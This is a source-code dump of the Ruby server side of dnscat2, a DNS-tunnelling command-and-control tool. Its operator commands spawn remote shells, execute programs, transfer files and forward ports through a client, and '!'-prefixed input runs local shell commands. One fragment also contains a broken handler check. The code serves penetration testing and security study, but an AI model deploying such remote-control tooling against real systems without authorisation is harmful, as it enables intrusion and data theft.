46 @handlers[request.get(:request_id)] = {
47 :request => request,
48 :proc => callback
49 }
50 end
51
52 if(Settings::GLOBAL.get("packet_trace"))
53 window = _get_pcap_window()
54 window.puts("OUT: #{request}")
55 end
56
57 out = request.serialize()
58 out = [out.length, out].pack("Na*")
59 @outgoing += out
60 end
61 end
62
63 def initialize(window, settings)
64 @window = window
65 @settings = settings
66 @outgoing = ""
67 @incoming = ""
68 @request_id = 0x0001
69 @commander = Commander.new()
70 @handlers = {}
71 @stopped = false
72
73 _register_commands()
74 _register_commands_tunnels()
75
76 @window.on_input() do |data|
77 # This replaces any $variables with
78 data = @settings.do_replace(data)
79 begin
80 @commander.feed(data)
81 rescue ArgumentError => e
82 @window.puts("Error: #{e}")
83 @commander.educate(data, @window)
84 end
85 end
86
87 @window.puts("This is a command session!")
88 @window.puts()
89 @window.puts("That means you can enter a dnscat2 command such as")
90 @window.puts("'ping'! For a full list of clients, try 'help'.")
91 @window.puts()
92
93 # This creates the window early for a slightly better UX (it doesn't pop up after their first command)
94 if(Settings::GLOBAL.get("packet_trace"))
95 window = _get_pcap_window()
96 end
97 end
98
99 def _handle_incoming(command_packet)
100 if(Settings::GLOBAL.get("packet_trace"))
101 window = _get_pcap_window()
102 window.puts("IN: #{command_packet}")
103 end
104
105 if(command_packet.get(:is_request))
106 tunnel_data_incoming(command_packet)
107 else
108 handler = @handlers.delete(command_packet.get(:request_id))
109 if(handler.nil?)
110 @window.puts("Received a response that we have no record of sending:")
111 @window.puts("#{command_packet}")
112 @window.puts()
113 @window.puts("Here are the responses we're waiting for:")
114 @handlers.each_pair do |request_id, the_handler|
115 @window.puts("#{request_id}: #{the_handler[:request]}")
116 end
117
118 if(handler.get(:command_id) != response.get(:command_id) && command_packet.get(:command_id) != CommandPacket::ERROR)
119 @window.puts("Received a response of a different packet type (that's really weird, please report if you can reproduce!")
120 @window.puts("#{command_packet}")
121 @window.puts()
122 @window.puts("The original packet was:")
123 @window.puts("#{handler}")
124 end
125
126 return
127 end
128
129 handler[:proc].call(handler[:request], command_packet)
130 end
131
132 end
133
134 def feed(data)
135 @incoming += data
136 loop do
137 if(@incoming.length < 4)
138 break
139 end
140
141 # Try to read a length + packet
142 length, data = @incoming.unpack("Na*")
143
144 # If there isn't enough data, give up
145 if(data.length < length)
146 break
147 end
148
149 # Otherwise, remove what we have from @data
150 length, data, @incoming = @incoming.unpack("Na#{length}a*")
151 _handle_incoming(CommandPacket.parse(data))
152 end
153
154 # Return the queue and clear it out
155 result = @outgoing
156 @outgoing = ''
157 return result
158 end
159
160 def request_stop()
161 @stopped = true
162 end
163
164 def shutdown()
165 tunnels_stop()
166 end
167 end
0 ##
1 # driver_command_commands.rb
2 # Created September 13, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 ##
7
8 require 'libs/command_helpers'
9
10 module DriverCommandCommands
11 def _register_commands()
12 @commander.register_alias('sessions', 'windows')
13 @commander.register_alias('session', 'window')
14 @commander.register_alias('q', 'quit')
15 @commander.register_alias('exit', 'quit')
16 @commander.register_alias('h', 'help')
17 @commander.register_alias('?', 'help')
18 @commander.register_alias('up', 'suspend')
19 @commander.register_alias('back', 'suspend')
20 @commander.register_alias('pause', 'suspend')
21 @commander.register_alias('run', 'exec')
22 @commander.register_alias('execute', 'exec')
23
24 @commander.register_command('help',
25 Trollop::Parser.new do
26 banner("Shows a help menu")
27 end,
28
29 Proc.new do |opts, optval|
30 @commander.help(@window)
31 end,
32 )
33
34 @commander.register_command('echo',
35 Trollop::Parser.new do
36 banner("Print stuff to the terminal, including $variables")
37 end,
38
39 Proc.new do |opts, optarg|
40 @window.puts(optarg)
41 end
42 )
43
44 @commander.register_command("ping",
45 Trollop::Parser.new do
46 banner("Sends a 'ping' to the remote host to make sure it's still alive)")
47 opt :length, "length", :type => :integer, :required => false, :default => 256
48 end,
49 Proc.new do |opts|
50 ping = CommandPacket.new({
51 :is_request => true,
52 :request_id => request_id(),
53 :command_id => CommandPacket::COMMAND_PING,
54 :data => (0...opts[:length]).map { ('A'.ord + rand(26)).chr }.join()
55 })
56
57 _send_request(ping, Proc.new() do |request, response|
58 if(request.get(:data) != response.get(:data))
59 @window.puts("The server didn't return the same ping data we sent!")
60 @window.puts("Expected: #{request.get(:data)}")
61 @window.puts("Received: #{response.get(:data)}")
62 else
63 @window.puts("Pong!")
64 end
65 end)
66
67 @window.puts("Ping!")
68 end,
69 )
70
71 @commander.register_command("clear",
72 Trollop::Parser.new do
73 banner("Clears the display")
74 end,
75 Proc.new do |opts|
76 0.upto(100) do @window.puts() end
77 end,
78 )
79
80
81 @commander.register_command("shell",
82 Trollop::Parser.new do
83 banner("Spawn a shell on the remote host")
84 opt :name, "Name", :type => :string, :required => false, :default => nil
85 end,
86
87 Proc.new do |opts|
88 shell = CommandPacket.new({
89 :is_request => true,
90 :request_id => request_id(),
91 :command_id => CommandPacket::COMMAND_SHELL,
92 :name => opts[:name] || "shell"
93 })
94
95 _send_request(shell, Proc.new() do |request, response|
96 @window.puts("Shell session created!")
97 end)
98
99 @window.puts("Sent request to execute a shell")
100 end,
101 )
102
103 @commander.register_command("exec",
104 Trollop::Parser.new do
105 banner("Execute a program on the remote host")
106 opt :command, "Command", :type => :string, :required => false, :default => nil
107 opt :name, "Name", :type => :string, :required => false, :default => nil
108 end,
109
110 Proc.new do |opts, optarg|
111 command = opts[:command] || optarg
112 name = opts[:name] || command
113
114 if(name == "")
115 @window.puts("No command given!")
116 @window.puts()
117 raise(Trollop::HelpNeeded)
118 end
119
120 @window.puts("command = #{command} #{command.class}")
121 exec = CommandPacket.new({
122 :is_request => true,
123 :request_id => request_id(),
124 :command_id => CommandPacket::COMMAND_EXEC,
125 :command => command,
126 :name => name,
127 })
128
129 _send_request(exec, Proc.new() do |request, response|
130 @window.puts("Executed \"#{request.get(:command)}\"")
131 end)
132
133 @window.puts("Sent request to execute \"#{command}\"")
134 end,
135 )
136
137 @commander.register_command("suspend",
138 Trollop::Parser.new do
139 banner("Go back to the parent session")
140 end,
141
142 Proc.new do |opts, optarg|
143 @window.deactivate()
144 end,
145 )
146
147 @commander.register_command("download",
148 Trollop::Parser.new do
149 banner("Download a file from the other side. Usage: download <from> [to]")
150 end,
151
152 Proc.new do |opts, optarg|
153 # Get the two files
154 remote_file, local_file = Shellwords.shellwords(optarg)
155
156 # Sanity check
157 if(remote_file.nil? || remote_file == "")
158 @window.puts("Usage: download <from> [to]")
159 else
160 # Make sure we have a local file
161 if(local_file.nil? || local_file == "")
162 # I only want the filename to prevent accidental traversal
163 local_file = File.basename(remote_file)
164 end
165
166 download = CommandPacket.new({
167 :is_request => true,
168 :request_id => request_id(),
169 :command_id => CommandPacket::COMMAND_DOWNLOAD,
170 :filename => remote_file,
171 })
172
173 _send_request(download, Proc.new() do |request, response|
174 File.open(local_file, "wb") do |f|
175 f.write(response.get(:data))
176 @window.puts("Wrote #{response.get(:data).length} bytes from #{request.get(:filename)} to #{local_file}!")
177 end
178 end)
179
180 @window.puts("Attempting to download #{remote_file} to #{local_file}")
181 end
182 end
183 )
184
185 @commander.register_command("upload",
186 Trollop::Parser.new do
187 banner("Upload a file to the other side. Usage: upload <from> <to>")
188 end,
189
190 Proc.new do |opts, optarg|
191 # Get the two files
192 local_file, remote_file = Shellwords.shellwords(optarg)
193
194 # Sanity check
195 if(local_file.nil? || local_file == "" || remote_file.nil? || remote_file == "")
196 @window.puts("Usage: upload <from> <to>")
197 else
198 data = IO.read(local_file)
199
200 upload = CommandPacket.new({
201 :is_request => true,
202 :request_id => request_id(),
203 :command_id => CommandPacket::COMMAND_UPLOAD,
204 :filename => remote_file,
205 :data => data,
206 })
207
208 _send_request(upload, Proc.new() do |request, response|
209 @window.puts("#{data.length} bytes uploaded from #{local_file} to #{remote_file}")
210 end)
211
212 @window.puts("Attempting to upload #{local_file} to #{remote_file}")
213 end
214 end
215 )
216
217 @commander.register_command("shutdown",
218 Trollop::Parser.new do
219 banner("Shut down the remote session")
220 end,
221
222 Proc.new do |opts, optarg|
223 shutdown = CommandPacket.new({
224 :is_request => true,
225 :request_id => request_id(),
226 :command_id => CommandPacket::COMMAND_SHUTDOWN,
227 })
228
229 _send_request(shutdown, Proc.new() do |request, response|
230 @window.puts("Shutdown response received")
231 end)
232 @window.puts("Attempting to shut down remote session(s)...")
233
234 # TODO: Doing cleanup here is a bit of a hack; unfortunately, the
235 # client doesn't tell us when it successfully shuts down, it just dies
236 # (it's non-trivial delaying the death, as well...), so we free up our
237 # resources here. :)
238 request_stop()
239 end
240 )
241
242 @commander.register_command("delay",
243 Trollop::Parser.new do
244 banner("Change the delay of the remote session")
245 end,
246
247 Proc.new do |opts, optarg|
248 if optarg.nil? || optarg.to_i < 1
249 @window.puts("Usage: delay <seconds>\n\nYou can only use values greater than one second.")
250 else
251 delay = CommandPacket.new({
252 :is_request => true,
253 :request_id => request_id(),
254 :command_id => CommandPacket::COMMAND_DELAY,
255 :delay => optarg.to_i * 1000,
256 })
257
258 _send_request(delay, Proc.new() do |request, response|
259 @window.puts("Delay response received")
260 end)
261 @window.puts("Attempting to change delay to #{optarg.to_i}s...")
262 end
263 end
264 )
265
266 # This is almost the same as 'set' from 'controller', except it uses the
267 # local settings and recurses into global if necessary
268 @commander.register_command("set",
269 Trollop::Parser.new do
270 banner("set <name>=<value>")
271 end,
272
273 Proc.new do |opts, optarg|
274 if(optarg.length == 0)
275 @window.puts("Usage: set <name>=<value>")
276 @window.puts()
277 @window.puts("** Global options:")
278 @window.puts()
279 Settings::GLOBAL.each_setting() do |name, value, docs, default|
280 @window.puts("%s => %s [default = %s]" % [name, CommandHelpers.format_field(value), CommandHelpers.format_field(default)])
281 @window.puts(CommandHelpers.wrap(docs, 72, 4))
282 @window.puts()
283 end
284
285 @window.puts()
286 @window.puts("** Session options:")
287 @window.puts()
288 @settings.each_setting() do |name, value, docs, default|
289 @window.puts("%s => %s [default = %s]" % [name, CommandHelpers.format_field(value), CommandHelpers.format_field(default)])
290 @window.puts(CommandHelpers.wrap(docs, 72, 4))
291 @window.puts()
292 end
293
294 next
295 end
296
297 # Split at the '=' sign
298 namevalue = optarg.split("=", 2)
299
300 if(namevalue.length != 2)
301 namevalue = optarg.split(" ", 2)
302 end
303
304 if(namevalue.length != 2)
305 @window.puts("Bad argument! Expected: 'set <name>=<value>' or 'set name value'!")
306 @window.puts()
307 raise(Trollop::HelpNeeded)
308 end
309
310 begin
311 @settings.set(namevalue[0], namevalue[1], true)
312 rescue Settings::ValidationError => e
313 @window.puts("Failed to set the new value: #{e}")
314 end
315 end
316 )
317
318 @commander.register_command("unset",
319 Trollop::Parser.new do
320 banner("unset <name>")
321 end,
322
323 Proc.new do |opts, optarg|
324 @settings.unset(optarg)
325 end
326 )
327
328 @commander.register_command('windows',
329 Trollop::Parser.new do
330 banner("Lists the current active windows under the current window")
331 opt :all, "Show closed windows", :type => :boolean, :required => false
332 end,
333
334 Proc.new do |opts, optarg|
335 @window.puts()
336 @window.puts("Windows active in this session (to see all windows, go to")
337 @window.puts("the main window by pressing ctrl-z):")
338 @window.puts()
339 CommandHelpers.display_windows(@window, opts[:all], @window)
340 end,
341 )
342
343 @commander.register_command("window",
344 Trollop::Parser.new do
345 banner("Interact with a window")
346 opt :i, "Interact with the chosen window", :type => :string, :required => false
347 end,
348
349 Proc.new do |opts, optarg|
350 if(opts[:i].nil?)
351 @window.puts()
352 @window.puts("Windows active in this session (to see all windows, go to")
353 @window.puts("the main window by pressing ctrl-z):")
354 @window.puts()
355 CommandHelpers.display_windows(@window, opts[:all], @window)
356 next
357 end
358
359 window = SWindow.get(opts[:i])
360 if(window.nil?)
361 @window.puts("Window #{opts[:i]} not found!")
362 @window.puts()
363 @window.puts("Windows active in this session (to see all windows, go to")
364 @window.puts("the main window by pressing ctrl-z):")
365 @window.puts()
366 CommandHelpers.display_windows(@window, false, @window)
367 next
368 end
369
370 window.activate()
371 end
372 )
373
374 @commander.register_command("quit",
375 Trollop::Parser.new do
376 banner("Close all sessions and exit dnscat2")
377 end,
378
379 Proc.new do |opts, optarg|
380 exit(0)
381 end
382 )
383 end
384 end
0 ##
1 # driver_command_tunnels.rb
2 # Created November 27, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 ##
7
8 require 'libs/command_helpers'
9 require 'libs/socketer'
10
11 module DriverCommandTunnels
12 def _register_commands_tunnels()
13 @tunnels_by_session = {}
14 @sessions_by_tunnel = {}
15 @tunnels = []
16
17 @commander.register_command('tunnels',
18 Trollop::Parser.new do
19 banner("Lists all current listeners")
20 end,
21
22 Proc.new do |opts, optarg|
23 @tunnels.each do |tunnel|
24 @window.puts(tunnel.to_s)
25 end
26 end
27 )
28
29 @commander.register_command('listen',
30 Trollop::Parser.new do
31 banner("Listens on a local port and sends the connection out the other side (like ssh -L). Usage: listen [<lhost>:]<lport> <rhost>:<rport>")
32 end,
33
34 Proc.new do |opts, optarg|
35 local, remote = optarg.split(/ /)
36
37 if(remote.nil?)
38 @window.puts("Bad argument! Expected: 'listen [<lhost>:]<lport> <rhost>:<rport>'")
39 @window.puts()
40 raise(Trollop::HelpNeeded)
41 end
42
43 # Split the local port at the :, if there is one
44 if(local.include?(":"))
45 local_host, local_port = local.split(/:/)
46 else
47 local_host = '0.0.0.0'
48 local_port = local
49 end
50 local_port = local_port.to_i()
51
52 if(local_port <= 0 || local_port > 65535)
53 @window.puts("Bad argument! lport must be a valid port (between 0 and 65536)")
54 @window.puts()
55 raise(Trollop::HelpNeeded)
56 end
57
58 remote_host, remote_port = remote.split(/:/)
59 if(remote_host == '' || remote_port == '' || remote_port.nil?)
60 @window.puts("rhost or rport missing!")
61 @window.puts()
62 raise(Trollop::HelpNeeded)
63 end
64 remote_port = remote_port.to_i()
65
66 if(remote_port <= 0 || remote_port > 65535)
67 @window.puts("Bad argument! rport must be a valid port (between 0 and 65536)")
68 @window.puts()
69 raise(Trollop::HelpNeeded)
70 end
71
72 @window.puts("Listening on #{local_host}:#{local_port}, sending connections to #{remote_host}:#{remote_port}")
73
74 begin
75 @tunnels << Socketer.listen(local_host, local_port, {
76 :on_connect => Proc.new() do |session, host, port|
77 @window.puts("Connection from #{host}:#{port}; forwarding to #{remote_host}:#{remote_port}...")
78
79 packet = CommandPacket.new({
80 :is_request => true,
81 :request_id => request_id(),
82 :command_id => CommandPacket::TUNNEL_CONNECT,
83 :options => 0,
84 :host => remote_host,
85 :port => remote_port,
86 })
87
88 _send_request(packet, Proc.new() do |request, response|
89 if(response.get(:command_id) == CommandPacket::COMMAND_ERROR)
90 @window.puts("Tunnel error: #{response.get(:reason)}")
91 session.stop!()
92 else
93 @window.puts("[Tunnel %d] connection successful!" % response.get(:tunnel_id))
94 @tunnels_by_session[session] = response.get(:tunnel_id)
95 @sessions_by_tunnel[response.get(:tunnel_id)] = session
96
97 # Tell the tunnel that we're ready to receive data
98 session.ready!()
99 end
100 end)
101 end,
102
103 :on_data => Proc.new() do |session, data|
104 tunnel_id = @tunnels_by_session[session]
105
106 packet = CommandPacket.new({
107 :is_request => true,
108 :request_id => request_id(),
109 :command_id => CommandPacket::TUNNEL_DATA,
110 :tunnel_id => tunnel_id,
111 :data => data,
112 })
113
114 _send_request(packet, nil)
115 end,
116
117 :on_error => Proc.new() do |session, msg, e|
118 # Delete the tunnel
119 tunnel_id = @tunnels_by_session.delete(session)
120 @window.puts("[Tunnel %d] error: %s" % [tunnel_id, msg])
121
122 @sessions_by_tunnel.delete(tunnel_id)
123
124 packet = CommandPacket.new({
125 :is_request => true,
126 :request_id => request_id(),
127 :command_id => CommandPacket::TUNNEL_CLOSE,
128 :tunnel_id => tunnel_id,
129 :reason => "Error during the connection: %s" % msg,
130 })
131
132 _send_request(packet, nil)
133 end
134 })
135 rescue Errno::EACCES => e
136 @window.puts("Sorry, couldn't listen on that port: #{e}")
137 rescue Errno::EADDRINUSE => e
138 @window.puts("Sorry, that address:port is already in use: #{e}")
139 @window.puts()
140 @window.puts("If you kill a session from the root window with the 'kill'")
141 @window.puts("command, it will free the socket. You can get a list of which")
142 @window.puts("sockets are being used with the 'tunnels' command!")
143 @window.puts()
144 @window.puts("I realize this is super awkward.. don't worry, it'll get")
145 @window.puts("better next version! Stay tuned!")
146
147 end
148 end
149 )
150 end
151
152 def tunnel_data_incoming(packet)
153 tunnel_id = packet.get(:tunnel_id)
154
155 case packet.get(:command_id)
156 when CommandPacket::TUNNEL_DATA
157 session = @sessions_by_tunnel[tunnel_id]
158 if(session.nil?)
159 @window.puts("Received data for unknown tunnel: %d! Telling client to close it!" % tunnel_id)
160
161 _send_request(CommandPacket.new({
162 :is_request => true,
163 :request_id => request_id(),
164 :command_id => CommandPacket::TUNNEL_CLOSE,
165 :tunnel_id => tunnel_id,
166 :reason => "Unknown tunnel: %d" % tunnel_id
167 }), nil)
168 else
169 session.send(packet.get(:data))
170 end
171 when CommandPacket::TUNNEL_CLOSE
172 @window.puts("[Tunnel %d] closed by the other side: %s!" % [tunnel_id, packet.get(:reason)])
173 # Delete the tunnels, we're done with them
174 session = @sessions_by_tunnel.delete(tunnel_id)
175 if(session.nil?)
176 @window.puts("WARNING: Client tried to close a tunnel that wasn't open (it may have just disconnected)")
177 return
178 end
179
180 @tunnels_by_session.delete(session)
181 session.stop!()
182 else
183 raise(DnscatException, "Unknown command sent by the server: #{packet}")
184 end
185 end
186
187 def tunnels_stop()
188 if(@tunnels.length > 0)
189 @window.puts("Stopping active tunnels...")
190 @tunnels.each do |t|
191 t.kill()
192 end
193 end
194 end
195 end
0 ##
1 # driver_console.rb
2 # Created August 29, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 ##
8
9 class DriverConsole
10 attr_reader :stopped
11
12 def initialize(window, settings)
13 @window = window
14 @settings = settings
15 @outgoing = ""
16
17 @window.on_input() do |data|
18 @outgoing += data
19 @outgoing += "\n"
20 end
21
22 @window.puts("This is a console session!")
23 @window.puts()
24 @window.puts("That means that anything you type will be sent as-is to the")
25 @window.puts("client, and anything they type will be displayed as-is on the")
26 @window.puts("screen! If the client is executing a command and you don't")
27 @window.puts("see a prompt, try typing 'pwd' or something!")
28 @window.puts()
29 @window.puts("To go back, type ctrl-z.")
30 @window.puts()
31 end
32
33 def feed(data)
34 @window.print(data)
35
36 out = @outgoing
37 @outgoing = ''
38
39 return out
40 end
41 end
0 ##
1 # driver_console.rb
2 # Created September 16, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 ##
8
9 require 'open3'
10
11 class DriverProcess
12 def initialize(window, settings, process)
13 @window = window
14 @settings = settings
15 @outgoing = ""
16 @window.noinput = true
17
18 @window.puts("This isn't a console session!")
19 @window.puts()
20 @window.puts("The 'process' variable is set, which means that a specific")
21 @window.puts("process:")
22 @window.puts()
23 @window.puts(process)
24 @window.puts()
25 @window.puts("will be started. That process's i/o is bound to that dnscat2")
26 @window.puts("client, which means you can interact with the process via")
27 @window.puts("that client.")
28 @window.puts("")
29 @window.puts("Note that there is no access control, which means any client")
30 @window.puts("that connects to this server can also use this process; there")
31 @window.puts("are some security implications there!")
32 @window.puts()
33 @window.puts("To disable this, run 'set process=' in the main window.")
34 @window.puts()
35 @window.puts("To go back, type ctrl-z.")
36 @window.puts()
37
38 @done = false
39
40 # Do this in a thread, since read() blocks
41 @thread = Thread.new() do |thread|
42 # Put this in an error block, since Threads don't print errors when debug is off
43 begin
44 # popen2e combines stderr and stdout into a single pipe, which is handy
45 @window.puts("Starting process: #{process}")
46 Open3.popen2e(process) do |stdin, stdout, wait_thr|
47 # Save stdin so we can write to it when data comes
48 @process_stdin = stdin
49
50 # Read the output character by character.. I'm not sure if there's a better way, .gets() isn't
51 # binary friendly, and reading more than 1 byte means that buffering happens
52 while line = stdout.read(1)
53 @outgoing += line
54 end
55
56 # Get the exit status
57 exit_status = wait_thr.value
58
59 if(!exit_status.success?)
60 @window.puts("Command exited with an error: #{process}")
61 else
62 @window.puts("Command exited successfully: #{process}")
63 end
64
65 @done = true
66
67 end
68 rescue Exception => e
69 $stdout.puts("ERROR: #{e}")
70 end
71 end
72 end
73
74 def feed(data)
75 if(@done)
76 return nil
77 end
78
79 @window.puts("[-->] #{data}")
80 @process_stdin.write(data)
81
82 out = @outgoing
83 @outgoing = ''
84
85 @window.puts("[<--] #{out}")
86 return out
87 end
88 end
0 ##
1 # command_helpers.rb
2 # Created September 16, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # These are used both by controller_commands.rb and driver_command_commands.rb,
8 # so instead of copying the code I put them together.
9 #
10 # It's unlikely that anybody else would have a use for this.
11 ##
12
13 class CommandHelpers
14 # Displays the name and children of a window
15 def CommandHelpers._display_window(window, all, stream, indent = 0)
16 if(!all && window.closed?())
17 return
18 end
19
20 stream.puts((' ' * indent) + window.to_s())
21 window.children() do |c|
22 _display_window(c, all, stream, indent + 1)
23 end
24 end
25
26 def CommandHelpers.display_windows(base_window, all, stream)
27 _display_window(base_window, all, stream)
28 end
29
30 def CommandHelpers.wrap(s, width=72, indent=0)
31 return s.gsub(/(.{1,#{width}})(\s+|\Z)/, "#{" "*indent}\\1\n")
32 end
33
34 def CommandHelpers.format_field(s)
35 if(s.nil?)
36 return "(n/a)"
37 elsif(s.is_a?(String))
38 return "'" + s + "'"
39 else
40 return s.to_s()
41 end
42 end
43
44 def CommandHelpers.parse_setting_string(str, defaults = nil)
45 response = (defaults || {}).clone()
46
47 str.split(/,/).each do |segment|
48 name, value = segment.split(/=/, 2)
49 if(value.nil?)
50 raise(ArgumentError, "Invalid settings string; a comma-separated list of name=value pairs is required. ('#{str}')")
51 end
52
53 name = name.to_sym()
54 if(defaults && !defaults.has_key?(name))
55 raise(ArgumentError, "Invalid setting: #{name}; allowed settings are #{defaults.keys.join(', ')}. ('#{str}')")
56 end
57
58 if(response[name].is_a?(Array))
59 response[name] << value
60 else
61 response[name] = value
62 end
63 end
64
65 return response
66 end
67 end
0 ##
1 # commander.rb
2 # By Ron Bowes
3 # Created August 29, 2015
4 #
5 # See LICENSE.md
6 #
7 # This is a class designed for registering commandline-style commands that
8 # are parsed and passed to handlers.
9 #
10 # After instantiating this class, register_command() is used to register
11 # new commands. register_alias() can also be used to create command aliases.
12 #
13 # Later, when the user types something that should be parsed as a command, the
14 # feed() function is called with the string the user passed. It attempts to
15 # parse it as a commandline-like string and call the appropriate function.
16 #
17 # This class uses the shellwords and trollop libraries to do much of the heavy
18 # lifting.
19 ##
20
21 require 'shellwords'
22 require 'trollop'
23
24 class Commander
25 def initialize()
26 @commands = {}
27 @aliases = {}
28 end
29
30 # Register a new command. The 'name' is the name the user types to activate
31 # the command. The parser is a Trollop::Parser instance, have a look at
32 # controller_commands.rb or driver_command_commands.rb to see how that's used.
33 # The func is a Proc that's called with two variables: opts, which is the
34 # command-line arguments parsed as per the parser; and optarg, which is
35 # everything that isn't parsed.
36 def register_command(name, parser, func)
37 @commands[name] = {
38 :parser => parser,
39 :func => func,
40 }
41 end
42
43 # Register an alias; if the user types 'name', it calls the handler for
44 # 'points_to'. This is recursive.
45 def register_alias(name, points_to)
46 @aliases[name] = points_to
47 end
48
49 def _resolve_alias(command)
50 while(!@aliases[command].nil?)
51 command = @aliases[command]
52 end
53
54 return command
55 end
56
57 # Treating data as either a command or a full command string, this gets
58 # information about the command the user tried to use, and prints help
59 # to stream (stream.puts() and stream.printf() are required).
60 #
61 # The dependence on passing in a stream is sub-optimal, but it's the only
62 # way that Trollop works.
63 def educate(data, stream)
64 begin
65 args = Shellwords.shellwords(data)
66 rescue ArgumentError
67 return
68 end
69
70 if(args.length == 0)
71 return
72 end
73
74 command = args.shift()
75 if(command.nil?)
76 return
77 end
78
79 command = _resolve_alias(command)
80
81 command = @commands[command]
82 if(command.nil?)
83 return
84 end
85
86 command[:parser].educate(stream)
87 end
88
89 # Print all commands to stream.
90 def help(stream)
91 stream.puts()
92 stream.puts("Here is a list of commands (use -h on any of them for additional help):")
93 @commands.keys.sort.each do |command|
94 stream.puts("* #{command}")
95 end
96 end
97
98 # Try to parse a line typed in by the user as a command, calling the
99 # appropriate handler function, if the user typed a bad command.
100 #
101 # This will throw an ArgumentError for various reasons, including
102 # unknown commands, badly quoted strings, and bad arguments.
103 def feed(data)
104 if(data[0] == '!')
105 system(data[1..-1])
106 return
107 end
108 args = Shellwords.shellwords(data)
109
110 if(args.length == 0)
111 return
112 end
113 command = _resolve_alias(args.shift())
114
115 if(@commands[command].nil?)
116 raise(ArgumentError, "Unknown command: #{command}")
117 end
118
119 begin
120 command = @commands[command]
121 command[:parser].stop_on("--")
122 opts = command[:parser].parse(args)
123 optval = ""
124 optarr = command[:parser].leftovers
125 if(!optarr.nil?())
126 if(optarr[0] == "--")
127 optarr.shift()
128 end
129 optval = optarr.join(" ")
130 end
131 command[:func].call(opts, optval)
132 rescue Trollop::CommandlineError => e
133 raise(ArgumentError, e.message)
134 rescue Trollop::HelpNeeded => e
135 raise(ArgumentError, "The user requested help")
136 end
137 end
138 end
0 ##
1 # dnscat_exception.rb
2 # Created July 1, 2013 (Canada Day!)
3 # By Ron Bowes
4 #
5 # See LICENSE.md
6 #
7 # Implements a simple exception class for dnscat2 protocol errors.
8 ##
9
10 class DnscatException < StandardError
11 end
0 ##
1 # dnser.rb
2 # Created Oct 7, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # I had nothing but trouble using rubydns (which became celluloid-dns, whose
8 # documentation is just flat out wrong), and I only really need a very small
9 # subset of DNS functionality, so I decided that I should just wrote my own.
10 #
11 # Note: after writing this, I noticed that Resolv::DNS exists in the Ruby
12 # language, I need to check if I can use that.
13 #
14 # There are two methods for using this library: as a client (to make a query)
15 # or as a server (to listen for queries and respond to them).
16 #
17 # To make a query, use DNSer.query:
18 #
19 # DNSer.query("google.com") do |response|
20 # ...
21 # end
22 #
23 # `response` will be of type DNSer::Packet.
24 #
25 # To listen for queries, create a new instance of DNSer, which will begin
26 # listening on a port, but won't actually handle queries yet:
27 #
28 # dnser = DNSer.new("0.0.0.0", 53)
29 # dnser.on_request() do |transaction|
30 # ...
31 # end
32 #
33 # `transaction` is of type DNSer::Transaction, and allows you to respond to the
34 # request either immediately or asynchronously.
35 #
36 # DNSer currently supports the following record types: A, NS, CNAME, SOA, MX,
37 # TXT, and AAAA.
38 ##
39
40 require 'ipaddr'
41 require 'socket'
42 require 'timeout'
43
44 require_relative './vash'
45
46 class DNSer
47 # Create a custom error message
48 class DnsException < StandardError
49 end
50
51 class Packet
52 attr_accessor :trn_id, :opcode, :flags, :rcode, :questions, :answers
53
54 # Request / response
55 QR_QUERY = 0x0000
56 QR_RESPONSE = 0x0001
57
58 QRS = {
59 QR_QUERY => "QUERY",
60 QR_RESPONSE => "RESPONSE",
61 }
62
63 # Return codes
64 RCODE_SUCCESS = 0x0000
65 RCODE_FORMAT_ERROR = 0x0001
66 RCODE_SERVER_FAILURE = 0x0002 # :servfail
67 RCODE_NAME_ERROR = 0x0003 # :NXDomain
68 RCODE_NOT_IMPLEMENTED = 0x0004
69 RCODE_REFUSED = 0x0005
70
71 RCODES = {
72 RCODE_SUCCESS => ":NoError (RCODE_SUCCESS)",
73 RCODE_FORMAT_ERROR => ":FormErr (RCODE_FORMAT_ERROR)",
74 RCODE_SERVER_FAILURE => ":ServFail (RCODE_SERVER_FAILURE)",
75 RCODE_NAME_ERROR => ":NXDomain (RCODE_NAME_ERROR)",
76 RCODE_NOT_IMPLEMENTED => ":NotImp (RCODE_NOT_IMPLEMENTED)",
77 RCODE_REFUSED => ":Refused (RCODE_REFUSED)",
78 }
79
80 # Opcodes - only QUERY is typically used
81 OPCODE_QUERY = 0x0000
82 OPCODE_IQUERY = 0x0800
83 OPCODE_STATUS = 0x1000
84
85 OPCODES = {
86 OPCODE_QUERY => "OPCODE_QUERY",
87 OPCODE_IQUERY => "OPCODE_IQUERY",
88 OPCODE_STATUS => "OPCODE_STATUS",
89 }
90
91 # The types that we support
92 TYPE_A = 0x0001
93 TYPE_NS = 0x0002
94 TYPE_CNAME = 0x0005
95 TYPE_SOA = 0x0006
96 TYPE_MX = 0x000f
97 TYPE_TXT = 0x0010
98 TYPE_AAAA = 0x001c
99 TYPE_ANY = 0x00FF
100
101 TYPES = {
102 TYPE_A => "A",
103 TYPE_NS => "NS",
104 TYPE_CNAME => "CNAME",
105 TYPE_SOA => "SOA",
106 TYPE_MX => "MX",
107 TYPE_TXT => "TXT",
108 TYPE_AAAA => "AAAA",
109 TYPE_ANY => "ANY",
110 }
111
112 # The DNS flags
113 FLAG_AA = 0x0008 # Authoritative answer
114 FLAG_TC = 0x0004 # Truncated
115 FLAG_RD = 0x0002 # Recursion desired
116 FLAG_RA = 0x0001 # Recursion available
117
118 # This converts a set of flags, as an integer, into a string
119 def Packet.FLAGS(flags)
120 result = []
121 if((flags & FLAG_AA) == FLAG_AA)
122 result << "AA"
123 end
124 if((flags & FLAG_TC) == FLAG_TC)
125 result << "TC"
126 end
127 if((flags & FLAG_RD) == FLAG_RD)
128 result << "RD"
129 end
130 if((flags & FLAG_RA) == FLAG_RA)
131 result << "RA"
132 end
133
134 return result.join("|")
135 end
136
137 # Classes - we only define IN (Internet)
138 CLS_IN = 0x0001 # Internet
139
140 CLSES = {
141 CLS_IN => "IN",
142 }
143
144 class FormatException < StandardError
145 end
146
147 # DNS has some unusual properties that we have to handle, which is why I
148 # wrote this class. It handles building / parsing DNS packets and keeping
149 # track of where in the packet we currently are. The advantage, besides
150 # simpler unpacking, is that encoded names (with pointers to other parts
151 # of the packet) can be trivially handled.
152 class DnsUnpacker
153 attr_accessor :data
154
155 # Create a new instance, initialized with the given data
156 def initialize(data)
